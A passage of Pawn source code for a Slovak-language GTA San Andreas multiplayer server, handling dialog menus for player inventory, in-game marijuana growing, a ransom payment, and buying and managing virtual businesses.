                             if(G_iT == 1) format(G_string,256, "%s - %d", G_iN[0], G_iP[0]);
                        else if(G_iT == 2) format(G_string,256, "%s - %d\n%s - %d", G_iN[0], G_iP[0], G_iN[1], G_iP[1]);
                        else if(G_iT == 3) format(G_string,256, "%s - %d\n%s - %d\n%s - %d", G_iN[0], G_iP[0], G_iN[1], G_iP[1], G_iN[2], G_iP[2]);
                        else if(G_iT == 4) format(G_string,256, "%s - %d\n%s - %d\n%s - %d\n%s - %d", G_iN[0], G_iP[0], G_iN[1], G_iP[1], G_iN[2], G_iP[2], G_iN[3], G_iP[3]);
                        else if(G_iT == 5) format(G_string,256, "%s - %d\n%s - %d\n%s - %d\n%s - %d\n%s - %d", G_iN[0], G_iP[0], G_iN[1], G_iP[1], G_iN[2], G_iP[2], G_iN[3], G_iP[3], G_iN[4], G_iP[4]);

                        ShowPlayerDialog(playerid, Dialog_GiveItem_Item1, DIALOG_STYLE_LIST, "Inventár / Jedlo a pitie", G_string, "OK", "Cancel");
                    }
                }

                if(listitem == 1)
                {
                    for(new i=0; i<5; i++) { G_iS[i]=false; }

                    for(new i=0; i<5; i++)
                    {
                        if(i == 0) if(Player[playerid][Svetlica] > 0) G_iS[i]=true;
                        if(i == 1) if(Player[playerid][Dynamit] > 0) G_iS[i]=true;
                        if(i == 2) if(Player[playerid][Mina] > 0) G_iS[i]=true;
                        if(i == 3) if(Player[playerid][Raptor] > 0) G_iS[i]=true;
                        if(i == 4) if(Player[playerid][Predator] > 0) G_iS[i]=true;
                    }

                    if(G_iS[0] == false && G_iS[1] == false && G_iS[2] == false && G_iS[3] == false && G_iS[4] == false) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_LIST,"Inventár / Bomby","{ff0000}V tejto zložke nemáš nič !","Cancel","");
                    else
                    {
                        for(new i=0; i<5; i++)
                        {
                            if(G_iS[i] == true)
                            {
                                if(i == 0) { G_iN[G_iT]="Svetlice"; G_iP[G_iT]=Player[playerid][Svetlica]; InvType[playerid][G_iT]=i; }
                                if(i == 1) { G_iN[G_iT]="Dynamity"; G_iP[G_iT]=Player[playerid][Dynamit]; InvType[playerid][G_iT]=i; }
                                if(i == 2) { G_iN[G_iT]="Míny"; G_iP[G_iT]=Player[playerid][Mina]; InvType[playerid][G_iT]=i; }
                                if(i == 3) { G_iN[G_iT]="Raptor"; G_iP[G_iT]=Player[playerid][Raptor]; InvType[playerid][G_iT]=i; }
                                if(i == 4) { G_iN[G_iT]="Predator"; G_iP[G_iT]=Player[playerid][Predator]; InvType[playerid][G_iT]=i; }

                                G_iT++;
                            }
                        }

                             if(G_iT == 1) format(G_string,256, "%s - %d", G_iN[0], G_iP[0]);
                        else if(G_iT == 2) format(G_string,256, "%s - %d\n%s - %d", G_iN[0], G_iP[0], G_iN[1], G_iP[1]);
                        else if(G_iT == 3) format(G_string,256, "%s - %d\n%s - %d\n%s - %d", G_iN[0], G_iP[0], G_iN[1], G_iP[1], G_iN[2], G_iP[2]);
                        else if(G_iT == 4) format(G_string,256, "%s - %d\n%s - %d\n%s - %d\n%s - %d", G_iN[0], G_iP[0], G_iN[1], G_iP[1], G_iN[2], G_iP[2], G_iN[3], G_iP[3]);
                        else if(G_iT == 5) format(G_string,256, "%s - %d\n%s - %d\n%s - %d\n%s - %d\n%s - %d", G_iN[0], G_iP[0], G_iN[1], G_iP[1], G_iN[2], G_iP[2], G_iN[3], G_iP[3], G_iN[4], G_iP[4]);

                        ShowPlayerDialog(playerid, Dialog_GiveItem_Item2, DIALOG_STYLE_LIST, "Inventár / Bomby", G_string, "OK", "Cancel");
                    }
                }

                if(listitem == 2) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_LIST,"Inventár / Bonus","{ff0000}V tejto zložke nemáš nič !","Cancel",""); //Dialog_GiveItem_Item3

                if(listitem == 3)
                {
                    for(new i=0; i<3; i++) { G_iS[i]=false; }

                    for(new i=0; i<3; i++)
                    {
                        if(i == 0) if(Player[playerid][Marihuana] > 0) G_iS[i]=true;
                        if(i == 1) if(Player[playerid][Cigarety] > 0) G_iS[i]=true;
                        if(i == 2) if(Player[playerid][Jointy] > 0) G_iS[i]=true;
                    }

                    if(G_iS[0] == false && G_iS[1] == false && G_iS[2] == false) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_LIST,"Inventár / Ostatné","{ff0000}V tejto zložke nemáš nič !","Cancel","");
                    else
                    {
                        for(new i=0; i<3; i++)
                        {
                            if(G_iS[i] == true)
                            {
                                if(i == 0) { G_iN[G_iT]="Marihuana"; G_iP[G_iT]=Player[playerid][Marihuana]; InvType[playerid][G_iT]=i; }
                                if(i == 1) { G_iN[G_iT]="Cigarety"; G_iP[G_iT]=Player[playerid][Cigarety]; InvType[playerid][G_iT]=i; }
                                if(i == 2) { G_iN[G_iT]="Jointy"; G_iP[G_iT]=Player[playerid][Jointy]; InvType[playerid][G_iT]=i; }

                                G_iT++;
                            }
                        }

                             if(G_iT == 1) format(G_string,256, "%s - %d", G_iN[0], G_iP[0]);
                        else if(G_iT == 2) format(G_string,256, "%s - %d\n%s - %d", G_iN[0], G_iP[0], G_iN[1], G_iP[1]);
                        else if(G_iT == 3) format(G_string,256, "%s - %d\n%s - %d\n%s - %d", G_iN[0], G_iP[0], G_iN[1], G_iP[1], G_iN[2], G_iP[2]);

                        ShowPlayerDialog(playerid, Dialog_GiveItem_Item4, DIALOG_STYLE_LIST, "Inventár / Ostatné", G_string, "OK", "Cancel");
                    }
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Inventar)
        {
            if(response == 1)
            {
                new bool:iS[10];
                new iP[10];
                new iT=0;
                new iN[10][16];
                new string[256];

                if(listitem == 0)
                {
                    for(new i=0; i<5; i++) { iS[i]=false; }

                    for(new i=0; i<5; i++)
                    {
                        if(i == 0) if(Player[playerid][Bagety] > 0) iS[i]=true;
                        if(i == 1) if(Player[playerid][Sprunk] > 0) iS[i]=true;
                        if(i == 2) if(Player[playerid][Pivo] > 0) iS[i]=true;
                        if(i == 3) if(Player[playerid][Vino] > 0) iS[i]=true;
                        if(i == 4) if(Player[playerid][Whisky] > 0) iS[i]=true;
                    }

                    if(iS[0] == false && iS[1] == false && iS[2] == false && iS[3] == false && iS[4] == false) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_LIST,"Inventár / Jedlo a pitie","{ff0000}V tejto zložke nemáš nič !","Cancel","");
                    else
                    {
                        for(new i=0; i<5; i++)
                        {
                            if(iS[i] == true)
                            {
                                if(i == 0) { iN[iT]="Bagety"; iP[iT]=Player[playerid][Bagety]; InvType[playerid][iT]=i; }
                                if(i == 1) { iN[iT]="Sprunk"; iP[iT]=Player[playerid][Sprunk]; InvType[playerid][iT]=i; }
                                if(i == 2) { iN[iT]="Pivo"; iP[iT]=Player[playerid][Pivo]; InvType[playerid][iT]=i; }
                                if(i == 3) { iN[iT]="Víno"; iP[iT]=Player[playerid][Vino]; InvType[playerid][iT]=i; }
                                if(i == 4) { iN[iT]="Whisky"; iP[iT]=Player[playerid][Whisky]; InvType[playerid][iT]=i; }

                                iT++;
                            }
                        }

                             if(iT == 1) format(string,256, "%s - %d", iN[0], iP[0]);
                        else if(iT == 2) format(string,256, "%s - %d\n%s - %d", iN[0], iP[0], iN[1], iP[1]);
                        else if(iT == 3) format(string,256, "%s - %d\n%s - %d\n%s - %d", iN[0], iP[0], iN[1], iP[1], iN[2], iP[2]);
                        else if(iT == 4) format(string,256, "%s - %d\n%s - %d\n%s - %d\n%s - %d", iN[0], iP[0], iN[1], iP[1], iN[2], iP[2], iN[3], iP[3]);
                        else if(iT == 5) format(string,256, "%s - %d\n%s - %d\n%s - %d\n%s - %d\n%s - %d", iN[0], iP[0], iN[1], iP[1], iN[2], iP[2], iN[3], iP[3], iN[4], iP[4]);

                        ShowPlayerDialog(playerid, Dialog_Inventar_1, DIALOG_STYLE_LIST, "Inventár / Jedlo a pitie", string, "OK", "Cancel");
                    }
                }

                if(listitem == 1)
                {
                    for(new i=0; i<5; i++) { iS[i]=false; }

                    for(new i=0; i<5; i++)
                    {
                        if(i == 0) if(Player[playerid][Svetlica] > 0) iS[i]=true;
                        if(i == 1) if(Player[playerid][Dynamit] > 0) iS[i]=true;
                        if(i == 2) if(Player[playerid][Mina] > 0) iS[i]=true;
                        if(i == 3) if(Player[playerid][Raptor] > 0) iS[i]=true;
                        if(i == 4) if(Player[playerid][Predator] > 0) iS[i]=true;
                    }

                    if(iS[0] == false && iS[1] == false && iS[2] == false && iS[3] == false && iS[4] == false) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_LIST,"Inventár / Bomby","{ff0000}V tejto zložke nemáš nič !","Cancel","");
                    else
                    {
                        for(new i=0; i<5; i++)
                        {
                            if(iS[i] == true)
                            {
                                if(i == 0) { iN[iT]="Svetlice"; iP[iT]=Player[playerid][Svetlica]; InvType[playerid][iT]=i; }
                                if(i == 1) { iN[iT]="Dynamity"; iP[iT]=Player[playerid][Dynamit]; InvType[playerid][iT]=i; }
                                if(i == 2) { iN[iT]="Míny"; iP[iT]=Player[playerid][Mina]; InvType[playerid][iT]=i; }
                                if(i == 3) { iN[iT]="Raptor"; iP[iT]=Player[playerid][Raptor]; InvType[playerid][iT]=i; }
                                if(i == 4) { iN[iT]="Predator"; iP[iT]=Player[playerid][Predator]; InvType[playerid][iT]=i; }

                                iT++;
                            }
                        }

                             if(iT == 1) format(string,256, "%s - %d", iN[0], iP[0]);
                        else if(iT == 2) format(string,256, "%s - %d\n%s - %d", iN[0], iP[0], iN[1], iP[1]);
                        else if(iT == 3) format(string,256, "%s - %d\n%s - %d\n%s - %d", iN[0], iP[0], iN[1], iP[1], iN[2], iP[2]);
                        else if(iT == 4) format(string,256, "%s - %d\n%s - %d\n%s - %d\n%s - %d", iN[0], iP[0], iN[1], iP[1], iN[2], iP[2], iN[3], iP[3]);
                        else if(iT == 5) format(string,256, "%s - %d\n%s - %d\n%s - %d\n%s - %d\n%s - %d", iN[0], iP[0], iN[1], iP[1], iN[2], iP[2], iN[3], iP[3], iN[4], iP[4]);

                        ShowPlayerDialog(playerid, Dialog_Inventar_2, DIALOG_STYLE_LIST, "Inventár / Bomby", string, "OK", "Cancel");
                    }
                }

                if(listitem == 2) ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_LIST,"Inventár / Bonus","{ff0000}V tejto zložke nemáš nič !","Cancel","");

                if(listitem == 3)
                {
                    for(new i=0; i<3; i++) { iS[i]=false; }

                    for(new i=0; i<3; i++)
                    {
                        if(i == 0) if(Player[playerid][Marihuana] > 0) iS[i]=true;
                        if(i == 1) if(Player[playerid][Cigarety] > 0) iS[i]=true;
                        if(i == 2) if(Player[playerid][Jointy] > 0) iS[i]=true;
                    }

                    if(iS[0] == false && iS[1] == false && iS[2] == false) return ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_LIST,"Inventár / Ostatné","{ff0000}V tejto zložke nemáš nič !","Cancel","");
                    else
                    {
                        for(new i=0; i<3; i++)
                        {
                            if(iS[i] == true)
                            {
                                if(i == 0) { iN[iT]="Marihuana"; iP[iT]=Player[playerid][Marihuana]; InvType[playerid][iT]=i; }
                                if(i == 1) { iN[iT]="Cigarety"; iP[iT]=Player[playerid][Cigarety]; InvType[playerid][iT]=i; }
                                if(i == 2) { iN[iT]="Jointy"; iP[iT]=Player[playerid][Jointy]; InvType[playerid][iT]=i; }

                                iT++;
                            }
                        }

                             if(iT == 1) format(string,256, "%s - %d", iN[0], iP[0]);
                        else if(iT == 2) format(string,256, "%s - %d\n%s - %d", iN[0], iP[0], iN[1], iP[1]);
                        else if(iT == 3) format(string,256, "%s - %d\n%s - %d\n%s - %d", iN[0], iP[0], iN[1], iP[1], iN[2], iP[2]);

                        ShowPlayerDialog(playerid, Dialog_Inventar_4, DIALOG_STYLE_LIST, "Inventár / Ostatné", string, "OK", "Cancel");
                    }
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_MarihuanaPlant)
        {
            if(response == 1)
            {
                new Float:F[3];
                GetObjectPos(MarihuanaPlant[Player[playerid][SaveMarPlantID]], F[0], F[1], F[2]);

                if(listitem == 0)
                {
                    if(F[2] >= 75.3739)
                    {
                        FormatPlayerInfoBox(playerid, "~g~Marihuana", "~r~Marihuana je uz pripravena na zber !", 1500);
                        Player[playerid][IPIP]=false;
                    }
                    else if(MarihuanaPlantLastS[Player[playerid][SaveMarPlantID]] == false)
                    {
                        FormatPlayerInfoBox(playerid, "~g~Marihuana", "~r~Marihuana je dostatocne zaliata !", 1500);
                        Player[playerid][IPIP]=false;
                    }
                    else
                    {
                        FormatPlayerInfoBox(playerid, "~g~Marihuana", "~w~Marihuana bola uspesne zaliata !", 1500);
                        SetTimerEx("IsPlayerInPickupFalse", 1600, 0, "i", playerid);
                        MoveObject(MarihuanaPlant[Player[playerid][SaveMarPlantID]], F[0], F[1], F[2] + 0.0925, 1);

                        MarihuanaPlantLastS[Player[playerid][SaveMarPlantID]] = false;
                    }
                }

                if(listitem == 1)
                {
                    if(F[2] >= 75.3739)
                    {
                        FormatPlayerInfoBox(playerid, "~g~Marihuana", "~r~Marihuana je uz pripravena na zber !", 1500);
                        Player[playerid][IPIP]=false;
                    }
                    else if(MarihuanaPlantLastS[Player[playerid][SaveMarPlantID]] == true)
                    {
                        FormatPlayerInfoBox(playerid, "~g~Marihuana", "~r~Marihuana je dostatocne pohnojena !", 1500);
                        Player[playerid][IPIP]=false;
                    }
                    else
                    {
                        FormatPlayerInfoBox(playerid, "~g~Marihuana", "~w~Marihuana bola uspesne pohnojena !", 1500);
                        SetTimerEx("IsPlayerInPickupFalse", 1600, 0, "i", playerid);
                        MoveObject(MarihuanaPlant[Player[playerid][SaveMarPlantID]], F[0], F[1], F[2] + 0.0925, 1);

                        MarihuanaPlantLastS[Player[playerid][SaveMarPlantID]] = true;
                    }
                }

                if(listitem == 2)
                {
                    if(F[2] < 75.3739)
                    {
                        FormatPlayerInfoBox(playerid, "~g~Marihuana", "~r~Este nie je mozne obrat marihuanu !", 1500);
                        Player[playerid][IPIP]=false;
                    }
                    else
                    {
                        new string[128], plus=5+random(8);

                        format(string,128, "~w~Marihuana bola uspesne obrana~n~~n~+~y~%dg~w~ marihuany", plus);

                        FormatPlayerInfoBox(playerid, "~g~Marihuana", string, 3500);
                        SetTimerEx("IsPlayerInPickupFalse", 3600, 0, "i", playerid);
                        MoveObject(MarihuanaPlant[Player[playerid][SaveMarPlantID]], F[0], F[1], 74.15 + (random(100)/500), 2);

                        Player[playerid][Marihuana] += plus;
                    }
                }
            }
            if(response == 0) SetTimerEx("IsPlayerInPickupFalse", 1500, 0, "i", playerid);
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_Blackmail)
        {
            new string[256];

            new id = Player[playerid][SaveBlackmailID];

            new Name2[24];
            GetPlayerName(playerid,Name2,24);

            if(IsPlayerConnected(id))
            {
                if(GetPlayerACMoney(playerid) >= Player[playerid][SaveBlackmailCash])
                {
                    if(response == 1)
                    {
                        format(string,256, "Hráč %s prijal tvoju ponuku na výkupné vo výške %d$ !", Name2, Player[playerid][SaveBlackmailCash]);
                        SendClientMessage(id, COLOR_GREEN, string);

                        GivePlayerACMoney(playerid, -Player[playerid][SaveBlackmailCash]);
                        GivePlayerACMoney(id, Player[playerid][SaveBlackmailCash]);

                        Player[playerid][IsPlayerKidnapping] = false;
                    }
                    if(response == 0)
                    {
                        format(string,256, "Hráč %s neprijal tvoju ponuku na výkupné !", Name2);
                        SendClientMessage(id, COLOR_RED_LIGHT, string);

                        Player[playerid][IsPlayerKidnapping] = true;
                    }
                }
            }
        }
        /////////////////////////////////////////////////////
        else if(dialogid == Dialog_FirmTypeFree)
        {
            if(response == 1)
            {
                Player[playerid][IPIP]=false;

                new firmid2 = Player[playerid][FirmID];

                if(Player[playerid][FirmP] != 9999) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemôžeš mať viac než jednu firmu !");
                if(GetPlayerACMoney(playerid) < Firm[firmid2][Price]) return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nemáš dostatok peňazí !");
                else
                {
                    GivePlayerACMoney(playerid, -Firm[firmid2][Price]);

                    new Name[24];
                    GetPlayerName(playerid, Name, 24);

                    Player[playerid][FirmP] = firmid2;

                    Firm[firmid2][State] = 1;

                    new fwaay3edse[40];
                    format(fwaay3edse,40, "SL/Server/Firms/Firm%d.cfg", firmid2);

                    dini_IntSet(fwaay3edse, "State", 1);
                    dini_Set(fwaay3edse, "Majitel", Name);

                    SendClientMessage(playerid, COLOR_GREEN, "Gratulujeme, kupil si si firmu !");

                    Delete3DTextLabel(Firm[firmid2][Text3D]);
                    new fstring[256];
                    format(fstring,256, "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fwaay3edse, "Name"), Name, Firm[firmid2][Trzba]);
                    Firm[firmid2][Text3D] = Create3DTextLabel(fstring, COLOR_BLUE_LIGHT, Firm[firmid2][fpX], Firm[firmid2][fpY], Firm[firmid2][fpZ], 40, 0);
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_FirmTypeSell)
        {
            new firmid2 = Player[playerid][FirmID];

            new fwway4875d[40];
            format(fwway4875d,40, "SL/Server/Firms/Firm%d.cfg", firmid2);

            if(response == 1)
            {
                if(listitem == 0)
                {
                    if((Firm[firmid2][Type] >= 5) && (Firm[firmid2][Type] <= 7)) //jedalen
                    {
                        Player[playerid][IPIP]=false;

                        if(GetPlayerVehicleID(playerid) > 0) return GameTextForPlayer(playerid,"~r~VYSTUP Z VOZIDLA !",3500,5);
                        else
                        {
                            if(Firm[firmid2][Type] == 5)
                            {
                                SetPlayerPos(playerid, 365.673,-10.713,1001.851);
                                SetPlayerInterior(playerid, 9);
                                SetPlayerVirtualWorld(playerid, Firm[firmid2][VirtualWorld]);
                            }

                            else if(Firm[firmid2][Type] == 6)
                            {
                                SetPlayerPos(playerid, 363.415,-74.578,1001.507);
                                SetPlayerInterior(playerid, 10);
                                SetPlayerVirtualWorld(playerid, Firm[firmid2][VirtualWorld]);
                            }

                            else if(Firm[firmid2][Type] == 7)
                            {
                                SetPlayerPos(playerid, 372.366,-132.133,1001.492);
                                SetPlayerInterior(playerid, 5);
                                SetPlayerVirtualWorld(playerid, Firm[firmid2][VirtualWorld]);
                            }
                        }
                    }
                    else //ostatne typy firmy
                    {
                        new title[64];
                        format(title,sizeof(title),"{ff0000}%s", dini_Get(fwway4875d, "Name"));
                        
                        new iprice[10];
                        new iname[10][32];
                        new data[15];
                        
                        for(new i=0; i<10; i++)
                        {
                            format(data, 15, "Item%d_price", i);
                            iprice[i] = dini_Int(fwway4875d, data);

                            format(data, 15, "Item%d_name", i);
                            format(iname[i], 32, "%s", dini_Get(fwway4875d, data));
                        }

                        if(Firm[firmid2][Type] == 0) format(gBIGSTRING,sizeof(gBIGSTRING), "Mega (%d$)\nShadow (%d$)\nRimshine (%d$)\nWires (%d$)\nClassic (%d$)\nGrove (%d$)\nAtomic (%d$)\nTwist (%d$)", iprice[0], iprice[1], iprice[2], iprice[3], iprice[4], iprice[5], iprice[6], iprice[7]);
                        else if(Firm[firmid2][Type] == 1) format(gBIGSTRING,sizeof(gBIGSTRING), "Red Neons (%d$)\nBlue Neons (%d$)\nGreen Neons (%d$)\nYellow Neons (%d$)\nPink Neons (%d$)\nWhite Neons (%d$)\nVymazat neony", iprice[0], iprice[1], iprice[2], iprice[3], iprice[4], iprice[5]);
                        else if(Firm[firmid2][Type] == 2) format(gBIGSTRING,sizeof(gBIGSTRING), "%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)", iname[0], iprice[0], iname[1], iprice[1], iname[2], iprice[2], iname[3], iprice[3], iname[4], iprice[4], iname[5], iprice[5], iname[6], iprice[6], iname[7], iprice[7]);
                        else if(Firm[firmid2][Type] == 3) format(gBIGSTRING,sizeof(gBIGSTRING), "FB Alien (%d$)\nFB X-Flow (%d$)\nSS Alien (%d$)\nSS X-Flow (%d$)\nRB Alien (%d$)\nRB X-Flow (%d$)\nSpoiler Alien (%d$)\nSpoiler X-Flow (%d$)\nRoof Alien (%d$)\nRoof X-Flow (%d$)", iprice[0], iprice[1], iprice[2], iprice[3], iprice[4], iprice[5], iprice[6], iprice[7], iprice[8], iprice[9]);
                        else if(Firm[firmid2][Type] == 4) format(gBIGSTRING,sizeof(gBIGSTRING), "Repair Vehicle (%d$)\nFuel (%d$)\nNitro 2x (%d$)\nNitro 5x (%d$)\nNitro 10x (%d$)\nHydraulics (%d$)", iprice[0], iprice[1], iprice[2], iprice[3], iprice[4], iprice[5]);
                        else format(gBIGSTRING,sizeof(gBIGSTRING), "%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)", iname[0], iprice[0], iname[1], iprice[1], iname[2], iprice[2], iname[3], iprice[3], iname[4], iprice[4], iname[5], iprice[5], iname[6], iprice[6], iname[7], iprice[7]);

                        ShowPlayerDialog(playerid,Dialog_FirmSluzby,DIALOG_STYLE_LIST, title, gBIGSTRING, "OK", "Cancel");
                    }
                }

                if(listitem == 1)
                {
                    if(Firm[firmid2][Type] >= 5 && Firm[firmid2][Type] <= 7) format(gBIGSTRING,sizeof(gBIGSTRING), "{ffff65}Názov firmy:\n{c5c5c5}%s\n\n~{ffff65}Majiteľ firmy:\n{c5c5c5}%s\n\n{ffff65}Tržba firmy:\n{c5c5c5}%d$\n\n{ffff65}Cena firmy:\n{c5c5c5}%d$\n\n{ffff65}Cena jedla:\n{c5c5c5}%d$", dini_Get(fwway4875d, "Name"), dini_Get(fwway4875d, "Majitel"), dini_Int(fwway4875d, "Trzba"), Firm[firmid2][Price], dini_Int(fwway4875d, "Item0_price"));
                    else format(gBIGSTRING,sizeof(gBIGSTRING), "{ffff65}Názov firmy:\n{c5c5c5}%s\n\n~{ffff65}Majiteľ firmy:\n{c5c5c5}%s\n\n{ffff65}Tržba firmy:\n{c5c5c5}%d$\n\n{ffff65}Cena firmy:\n{c5c5c5}%d$", dini_Get(fwway4875d, "Name"), dini_Get(fwway4875d, "Majitel"), dini_Int(fwway4875d, "Trzba"), Firm[firmid2][Price]);
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX, "{ff0000}Detaily firmy", gBIGSTRING, "Cancel", "");
                }

                if(listitem == 2)
                {
                    if(Player[playerid][FirmP] != firmid2)
                    {
                        Player[playerid][IPIP]=false;
                        return SendClientMessage(playerid, COLOR_WARNING, "[  !  ]{ffffff} Nie si majiteľ tejto firmy !");
                    }
                    else ShowPlayerDialog(playerid,Dialog_FirmAdminMenu,DIALOG_STYLE_LIST,"{ff0000}Administracia firmy","Správa položiek\nVybrať tržbu\nZmeniť méno firmy\nPredať firmu (75% z ceny)","OK","Cancel");
                }
            }

            if(response == 0) SetTimerEx("IsPlayerInPickupFalse",2000,0,"i",playerid);
        }

        //xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

        else if(dialogid == Dialog_FirmAdminMenu)
        {
            if(response == 1)
            {
                new fway[40];
                format(fway,40, "SL/Server/Firms/Firm%d.cfg", Player[playerid][FirmP]);

                if(listitem == 0)
                {
                    new istring[256];

                         if(Firm[Player[playerid][FirmP]][Type] == 0) format(istring,256, "Mega (%d$)\nShadow (%d$)\nRimshine (%d$)\nWires (%d$)\nClassic (%d$)\nGrove (%d$)\nAtomic (%d$)\nTwist (%d$)",
                                                      dini_Int(fway,"Item0_price"), dini_Int(fway,"Item1_price"), dini_Int(fway,"Item2_price"), dini_Int(fway,"Item3_price"), dini_Int(fway,"Item4_price"), dini_Int(fway,"Item5_price"), dini_Int(fway,"Item6_price"), dini_Int(fway,"Item7_price"));

                    else if(Firm[Player[playerid][FirmP]][Type] == 1) format(istring,256, "Red Neons (%d$)\nBlue Neons (%d$)\nGreen Neons (%d$)\nYellow Neons (%d$)\nPink Neons (%d$)\nWhite Neons (%d$)",
                                                     dini_Int(fway,"Item0_price"), dini_Int(fway,"Item1_price"), dini_Int(fway,"Item2_price"), dini_Int(fway,"Item3_price"), dini_Int(fway,"Item4_price"), dini_Int(fway,"Item5_price"));

                    else if(Firm[Player[playerid][FirmP]][Type] == 2) format(istring,256, "%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)",
                                                     dini_Get(fway,"Item0_name"), dini_Int(fway,"Item0_price"), dini_Get(fway,"Item1_name"), dini_Int(fway,"Item1_price"), dini_Get(fway,"Item2_name"), dini_Int(fway,"Item2_price"), dini_Get(fway,"Item3_name"), dini_Int(fway,"Item3_price"), dini_Get(fway,"Item4_name"), dini_Int(fway,"Item4_price"), dini_Get(fway,"Item5_name"), dini_Int(fway,"Item5_price"), dini_Get(fway,"Item6_name"), dini_Int(fway,"Item6_price"), dini_Get(fway,"Item7_name"), dini_Int(fway,"Item7_price"));

                    else if(Firm[Player[playerid][FirmP]][Type] == 3) format(istring,256, "FB Alien (%d$)\nFB X-Flow (%d$)\nSS Alien (%d$)\nSS X-Flow (%d$)\nRB Alien (%d$)\nRB X-Flow (%d$)\nSpoiler Alien (%d$)\nSpoiler X-Flow (%d$)\nRoof Alien (%d$)\nRoof X-Flow (%d$)",
                                                     dini_Int(fway,"Item0_price"), dini_Int(fway,"Item1_price"), dini_Int(fway,"Item2_price"), dini_Int(fway,"Item3_price"), dini_Int(fway,"Item4_price"), dini_Int(fway,"Item5_price"), dini_Int(fway,"Item6_price"), dini_Int(fway,"Item7_price"), dini_Int(fway,"Item8_price"), dini_Int(fway,"Item9_price"));

                    else if(Firm[Player[playerid][FirmP]][Type] == 4) format(istring,256, "Repair Vehicle (%d$)\nFuel (%d$)\nNitro 2x (%d$)\nNitro 5x (%d$)\nNitro 10x (%d$)\nHydraulics (%d$)",
                                                     dini_Int(fway,"Item0_price"), dini_Int(fway,"Item1_price"), dini_Int(fway,"Item2_price"), dini_Int(fway,"Item3_price"), dini_Int(fway,"Item4_price"), dini_Int(fway,"Item5_price"));

                    else if(Firm[Player[playerid][FirmP]][Type] == 8) format(istring,256, "%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)\n%s (%d$)",
                                                     dini_Get(fway,"Item0_name"), dini_Int(fway,"Item0_price"), dini_Get(fway,"Item1_name"), dini_Int(fway,"Item1_price"), dini_Get(fway,"Item2_name"), dini_Int(fway,"Item2_price"), dini_Get(fway,"Item3_name"), dini_Int(fway,"Item3_price"), dini_Get(fway,"Item4_name"), dini_Int(fway,"Item4_price"), dini_Get(fway,"Item5_name"), dini_Int(fway,"Item5_price"), dini_Get(fway,"Item6_name"), dini_Int(fway,"Item6_price"), dini_Get(fway,"Item7_name"), dini_Int(fway,"Item7_price"));

                         if(Firm[Player[playerid][FirmP]][Type] >= 5 && Firm[Player[playerid][FirmP]][Type] <= 7) ShowPlayerDialog(playerid,Dialog_FirmT57,DIALOG_STYLE_INPUT,"{ff0000}Cena jídla","Zadej novou cenu jídla v tvé firmě:","Změnit","Cancel");
                    else ShowPlayerDialog(playerid,Dialog_FirmItemsMenu,DIALOG_STYLE_LIST,"{ff0000}Správa položiek",istring,"Zmeniť","Cancel");
                }

                if(listitem == 1)
                {
                    new msg[128];
                    format(msg,128,"{c5c5c5}Tržba tvojej firmy činí: {ffff00}%d$", Firm[Player[playerid][FirmP]][Trzba]);
                    ShowPlayerDialog(playerid,Dialog_NoEffect,DIALOG_STYLE_MSGBOX,"{ff0000}Tržba firmy",msg,"OK","");

                    GivePlayerACMoney(playerid, Firm[Player[playerid][FirmP]][Trzba]);
                    Firm[Player[playerid][FirmP]][Trzba]=0;

                    dini_IntSet(fway,"Trzba",0);

                    Delete3DTextLabel(Firm[Player[playerid][FirmP]][Text3D]);
                    new fstring[256];
                    format(fstring,256, "[ Firma ]\n%s\nMajitel: %s\nTržba: %d$", dini_Get(fway, "Name"), dini_Get(fway, "Majitel"), Firm[Player[playerid][FirmP]][Trzba]);
                    Firm[Player[playerid][FirmP]][Text3D] = Create3DTextLabel(fstring, COLOR_BLUE_LIGHT, Firm[Player[playerid][FirmP]][fpX], Firm[Player[playerid][FirmP]][fpY], Firm[Player[playerid][FirmP]][fpZ], 40, 0);
                }

                if(listitem == 2) ShowPlayerDialog(playerid,Dialog_FirmChngName,DIALOG_STYLE_INPUT,"{ff0000}Zmena mena firmy","Zadaj nové meno firmy:","Zmeniť","Cancel");

                if(listitem == 3)
                {
                    dini_IntSet(fway,"State",0);
                    Firm[Player[playerid][FirmP]][State]=0;

                    new fmoney = (Firm[Player[playerid][FirmP]][Price] / 4 * 3);

                    GivePlayerACMoney(playerid, fmoney);

                    new msg[128];
                    format(msg,128, "~w~Predal si svoju firmu za ~y~%d$~w~ !", fmoney);
                    FormatPlayerInfoBox(playerid,"~g~Firma",msg,5000);

                    Delete3DTextLabel(Firm[Player[playerid][FirmP]][Text3D]);
